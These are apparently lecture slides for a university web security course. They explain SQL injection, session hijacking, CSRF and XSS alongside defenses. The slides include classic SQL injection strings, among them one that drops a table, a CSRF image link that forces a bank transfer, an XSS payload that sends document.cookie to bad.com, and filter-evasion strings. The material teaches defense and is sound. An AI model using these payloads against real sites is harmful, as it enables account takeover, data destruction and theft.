
Web Security

Instructor: Fengwei zhang
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The Web
• Security for the World-Wide Web (WWW)

• New vulnerabilities to consider: SQL injection, 
Cross-site Scripting (XSS), Session Hijacking, and 
Cross-site Request Forgery (CSRF)

• These share some common causes with memory 
safety vulnerabilities; like confusion of code and 
data

• Defense also similar: validate untrusted input
• New wrinkle: Web 2.0’s use of mobile code

• Mobile code, such as a Java Applet, is code that is 
transmitted across a network and executed on a remote 
machine.

• How to protect your applications and other web 
resources?
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Web Security Outline
• Web 1.0: the basics

• Attack: SQL (“sequel”) injection
• The Web with state

• Attack: Session Hijacking
• Attack: Cross-site Request Forgery (CSRF)

• Web 2.0: The advent of Javascript
• Attack: Cross-site Scripting (XSS)

• Defenses throughout
• Theme: validate or sanitize input, then 

trust it
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Web Basics

SUSTech CS 315 Computer Security 4



The Web, Basically
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Browser Web server

Database

Client Server

(Private)
Data

DB is a separate entity,
logically (and often physically)

(Much) user data is
part of the browser

HTTP



Basic structure of web traffic
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Browser Web server

Client Server

HTTP Request

User clicks

•Requests contain:
• The URL of the resource the client wishes to obtain
• Headers describing what the browser can do

•Request types can be GET or POST
• GET: all data is in the URL itself (no server side effects)
• POST: includes the data as separate fields (can have side effects)



HTTP GET requests
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http://www.reddit.com/r/security

User-Agent is typically a browser
but it can be wget, JDK, etc.

http://www.reddit.com/r/security


Referrer URL: the site from which
this request was issued.
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HTTP POST requests
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Posting on Piazza

Explicitly includes data as a part of the request’s content

Implicitly includes data
as a part of the URL



SQL injection
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Server-side data
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Browser Web server

Database

Client Server

(Private)
DataLong-lived state, stored
in a separate database

Need to protect 
this state from 

illicit access and 
tampering



Server-side data
• Typically want ACID transactions

• Atomicity
• Transactions complete entirely or not at all

• Consistency
• The database is always in a valid state

• Isolation
• Results from a transaction aren’t visible until it is 

complete
• Durability

• Once a transaction is committed, its effects persist 
despite, e.g., power failures

• Database Management Systems (DBMSes) provide 
these properties (and then some)
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Server-side code
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$result = mysql_query(“select * from Users
where(name=‘$user’ and password=‘$pass’);”);

Website

“Login code” (PHP)

Suppose you successfully log in as $user
if this returns any results

How could you exploit this?



SQL injection
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$result = mysql_query(“select * from Users
where(name=‘$user’ and password=‘$pass’);”);

frank’ OR 1=1); --

$result = mysql_query(“select * from Users
where(name=‘frank’ OR 1=1); --

and password=‘whocares’);”);



SQL injection
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$result = mysql_query(“select * from Users
where(name=‘$user’ and password=‘$pass’);”);

frank’ OR 1=1); DROP TABLE Users; --

$result = mysql_query(“select * from Users
where(name=‘frank’ OR 1=1);
DROP TABLE Users; --

and password=‘whocares’);”);

Can chain together statements with semicolon:
STATEMENT 1 ; STATEMENT 2



http://xkcd.com/327/
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SQL injection 
countermeasures
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The underlying issue
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$result = mysql_query(“select * from Users
where(name=‘$user’ and password=‘$pass’);”);

select / from / where

* Users and

=

name $user

=

password $pass$user

Should be data, 
not code

When the boundary between code and data blurs,
we open ourselves up to vulnerabilities



Prevention: Input Validation
• Since we require input of a certain form, but 

we cannot guarantee it has that form, we 
must validate it before we trust it
• Just like we do to avoid buffer overflows

• Making input trustworthy
• Check it has the expected form, and 

reject it if not
• Sanitize it by modifying it or using it it in 

such a way that the result is correctly 
formed by construction
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Also: Mitigation
• For defense in depth, you might also attempt to mitigate 

the effects of an attack
• But should always do input validation in any case!

• Limit privileges; reduces power of exploitation
• Can limit commands and/or tables a user can access

• Allow SELECT queries on Orders_Table but not on 
Creditcards_Table

• Encrypt sensitive data stored in the database; less 
useful if stolen
• May not need to encrypt Orders_Table
• But certainly encrypt Creditcards_Table.cc_numbers
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Web-based State 
using Cookies
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HTTP is stateless
• The lifetime of an HTTP session is typically:

• Client connects to the server
• Client issues a request
• Server responds
• Client issues a request for something in the 

response
• …. repeat ….
• Client disconnects

• HTTP has no means of noting “oh this is the same 
client from that previous session”
• How is it you don’t have to log in at every page 

load?
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Statefulness with Cookies
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Browser Web server

Client Server

HTTP Response

HTTP Request

State

Cookie

Cookie

Server

• Server maintains trusted state

• Server indexes/denotes state with a cookie
• Sends cookie to the client, which stores it
• Client returns it with subsequent queries to that same server

Cookie



<html> …… </html>

He
ad

er
s

Da
ta

Set-Cookie:key=value; options; ….

Cookies are key-value pairs
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Why use cookies?
• Session identifier

• After a user has authenticated, subsequent actions 
provide a cookie

• So the user does not have to authenticate each time

• Personalization
• Let an anonymous user customize your site
• Store font choice, etc., in the cookie

• Tracking users
• Advertisers want to know your behavior
• Ideally build a profile across different websites

• Visit the Apple Store, then see iPad ads on Amazon?!
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Session Hijacking
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Cookies and web authentication

• An extremely common use of cookies is to
track users who have already authenticated

• If the user already visited
http://website.com/login.html?user=alice&pass=secret

with the correct password, then the server 
associates a “session cookie” with the logged-in 
user’s info

• Subsequent requests include the cookie in the 
request headers and/or as one of the fields:
http://website.com/doStuff.html?sid=81asf98as8eak

• The idea is to be able to say “I am talking to the 
same browser that authenticated Alice earlier.”
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Cookie Theft

• The holder of a session cookie gives access to 
a site with the privileges of the user that 
established that session

• Thus, stealing a cookie may allow an attacker 
to impersonate a legitimate user

• Actions that will seem to be due to that user
• Permitting theft or corruption of sensitive data
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Stealing Session Cookies

• Compromise the server or user’s 
machine/browser

• Predict it based on other information you know
• Sniff the network
• DNS cache poisoning

• Trick the user into thinking you are 
Facebook

• The user will send you the cookie
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Defense: Unpredictability
• Avoid theft by guessing; cookies should be

• Randomly chosen, 
• Sufficiently long

• Can also require separate, correlating 
information
• Only accept requests due to legitimate 

interactions with web site (e.g., from clicking 
links)
• Defenses for CSRF, discussed shortly, 

can do this
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Cross-Site Request 
Forgery (CSRF)
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URLs with side effects

• GET requests often have side effects on 
server state

• Even though they are not supposed to
• What happens if 

• the user is logged in with an active session cookie 
• a request is issued for the following link?

• How could you get a user to visit a link?
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http://bank.com/transfer.cgi?amt=9999&to=attacker

http://bank.com/transfer.cgi?amt=9999&to=attacker


Exploiting URLs with Side-effects
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Browser

Client

bank.com

<img

src=“
http:

//ban
k.com

/tran
sfer.

cg

i?amt
=9999

&to=a
ttack

er”>

http://bank.com/
transfer.cgi?amt=9999&to=attacker

attacker.
com

Browser automatically
visits the URL to obtain
what it believes will be
an image

Cookie

bank.com

Cookie

$$$

http://bank.com
http://bank.com/


Cross-Site Request Forgery
• Target: User who has an account on a vulnerable 

server (e.g., bank.com)
• Attack goal: make requests to the server via the 

user’s browser that look to the server like the user 
intended to make them

• Attacker tools: ability to get the user to “click a link” 
crafted by the attacker that goes to the vulnerable 
site

• Key tricks:
• Requests to the web server have predictable 

structure
• Use of something like <img src=…> to force the 

victim to send it
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http://bank.com


CSRF protections: REFERER

• The browser will set the REFERER field to the 
page that hosted a clicked link
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• Trust requests from pages a user 
could legitimately reach

• From good users, if referrer 
header present, generally trusted

• Defends against session hijacks 
too



Problem: Referrer optional
• Not included by all browsers

• Sometimes other legitimate reasons not to have it
• Response: lenient referrer checking 

• Blocks requests with a bad referrer, but allows 
requests with no referrer

• Missing referrer always harmless?
• No: attackers can force the removal of referrer

• Bounce user off of ftp: page
• Exploit browser vulnerability and remove it
• Man-in-the-middle network attack
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CSRF Protection: Secretized Links

• Include a secret in every link/form
• Can use a hidden form field, custom HTTP header, 

or encode it directly in the URL
• Must not be guessable value
• Can be same as session id sent in cookie

• Frameworks help: Ruby on Rails embeds 
secret in every link automatically
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http://website.com/doStuff.html?sid=81asf98as8eak

http://website.com/doStuff.html?sid=81asf98as8eak


Web 2.0
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Dynamic web pages

• Rather than static or dynamic HTML, web 
pages can be expressed as a program written 
in Javascript:
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<html><body>
Hello, <b>
<script>

var a = 1;
var b = 2;
document.write(“world: “, a+b, “</b>”);

</script>
</body></html>



Javascript
• Powerful web page programming language

• Enabling factor for so-called Web 2.0
• Scripts are embedded in web pages returned by the 

web server
• Scripts are executed by the browser.  They can:

• Alter page contents (DOM objects)
• Track events (mouse clicks, motion, keystrokes)
• Issue web requests & read replies
• Maintain persistent connections (AJAX)
• Read and set cookies
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(no relation
to Java)



What could go wrong?

• Browsers need to confine Javascript’s power
• A script on attacker.com should not be able 

to:
• Alter the layout of a bank.com web page

• Read keystrokes typed by the user while on a 
bank.com web page

• Read cookies belonging to bank.com
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Same Origin Policy
• Browsers provide isolation for javascript 

scripts via the Same Origin Policy (SOP)
• Browser associates web page elements…

• Layout, cookies, events
• …with a given origin

• The hostname (bank.com) that provided 
the elements in the first place

SOP = 
only scripts received from a web page’s origin
have access to the page’s elements
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http://bank.com


Cookies and SOP
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Browser

Client

(Private)
Data

• Store “us” under the key “edition”
• This value is no good as of Wed Feb 

18…
• This value should only be readable by 

any domain ending in .zdnet.com
• This should be available to any 

resource within a subdirectory of /
• Send the cookie with any future 

requests to <domain>/<path>

Semantics



Cross-site scripting 
(XSS)
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XSS: Subverting the SOP

• Site attacker.com provides a malicious 
script

• Tricks the user’s browser into believing that the 
script’s origin is bank.com

• Runs with bank.com’s access privileges 

SUSTech CS 315 Computer Security 45

•One general approach:
• Trick the server of interest (bank.com) to actually 

send the attacker’s script to the user’s browser!
• The browser will view the script as coming from 

the same origin… because it does!

http://bank.com
http://bank.com


Two types of XSS
1. Stored (or “persistent”) XSS attack

• Attacker leaves their script on the bank.com server
• The server later unwittingly sends it to your browser
• Your browser executes it within the same origin as the 
bank.com server

2. Reflected XSS attack
• Attacker gets you to send the bank.com server a 

URL that includes some Javascript code
• bank.com echoes the script back to you in its 

response
• Your browser executes the script in the response 

within the same origin as bank.com
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Stored XSS attack
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Browser

Client

bank.com

bad.com

Inject
malicious
script

1
Request content

2

Receive malicious script

3

Execute the
malicious script
as though the
server meant us
to run it

4

Steal valuable data

5

Perform attacker action

5

GET 
http://bank.com/transfer?amt=9999&to
=attacker

GET http://bad.com/steal?c=document.cookie

http://bank.com


Stored XSS Summary
• Target: User with Javascript-enabled browser who 

visits user-influenced content page on a vulnerable 
web service

• Attack goal: run script in user’s browser with the 
same access as provided to the server’s regular 
scripts (i.e., subvert the Same Origin Policy)

• Attacker tools: ability to leave content on the web 
server (e.g., via an ordinary browser). 
• Optional tool: a server for receiving stolen user 

information
• Key trick: Server fails to ensure that content 

uploaded to page does not contain embedded 
scripts
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Reflected XSS attack
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Browser

Client

bank.com

bad.com

Click on link

3

Echo user input

4

Execute the
malicious script
as though the
server meant us
to run it

5

Steal valuable data

6

Perform attacker action

6

Visit web site

1

Receive malicious page

2

URL specially crafted
by the attacker

http://bank.com


Echoed input

• The key to the reflected XSS attack is to find 
instances where a good web server will echo 
the user input back in the HTML response
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http://victim.com/search.php?term=socks

<html> <title> Search results </title>
<body>
Results for socks :
. . .
</body></html>

Input from bad.com:

Result from victim.com:



Exploiting echoed input
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http://victim.com/search.php?term=
<script> window.open(
“http://bad.com/steal?c=“
+ document.cookie)

</script>

<html> <title> Search results </title>
<body>
Results for <script> ... </script>
. . .
</body></html>

Browser would execute this within victim.com’s origin

Input from bad.com:

Result from victim.com:

http://bad.com/steal?c=
http://victim.com


Reflected XSS Summary
• Target: User with Javascript-enabled browser who 

uses a vulnerable web service that includes parts 
of URLs it receives in the web page output it 
generates

• Attack goal: run script in user’s browser with the 
same access as provided to the server’s regular 
scripts

• Attacker tools: get user to click on a specially-
crafted URL. Optional tool: a server for receiving 
stolen user information

• Key trick: Server does not ensure that it’s output 
does not contain foreign, embedded scripts
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XSS Defense: Filter/Escape
• Typical defense is sanitizing: remove all 

executable portions of user-provided 
content that will appear in HTML pages
• E.g., look for <script> ... </script> or 

<javascript> ... </javascript> from provided 
content and remove it

• So, if I fill in the “name” field for 
Facebook as <script>alert(0)</script> and 
the script tags removed

• Often done on blogs, e.g., WordPress
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https://wordpress.org/plugins/html-purified/

https://wordpress.org/plugins/html-purified/


Problem: Finding the Content
• Bad guys are inventive: lots of ways to 

introduce Javascript; e.g., CSS tags and XML-
encoded data:
• <div style="background-image: 
url(javascript:alert(’JavaScript’))">...</div>

• <XML ID=I><X><C><![CDATA[<IMG 
SRC="javas]]><![CDATA[cript:alert(’XSS’);">]]>

• Worse: browsers “helpful” by parsing broken 
HTML!
• E.g., IE permits javascript tag to be split 

across two lines; evaded MySpace filter
• Hard to get it all
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Better defense: White list
• Instead of trying to sanitize, ensure that your 

application validates all 
• headers, 
• cookies, 
• query strings, 
• form fields, and 
• hidden fields (i.e., all parameters) 

• … against a rigorous spec of what should be allowed.
• Example: Instead of supporting full document markup 

language, use a simple, restricted subset
• E.g., markdown
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XSS vs. CSRF
• Do not confuse the two:
• XSS attacks exploit the trust a client browser 

has in data sent from the legitimate website
• So the attacker tries to control what the 

website sends to the client browser
• CSRF attacks exploit the trust the legitimate 

website has in data sent from the client 
browser
• So the attacker tries to control what the 

client browser sends to the website
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Key Defense Idea: Verify, then 
Trust
• The source of many attacks is carefully 

crafted data fed to the application from the 
environment

• Common solution idea: all data from the 
environment should be checked and/or 
sanitized before it is used
• Whitelisting preferred to blacklisting -

secure default
• Checking preferred to sanitization -

less to trust
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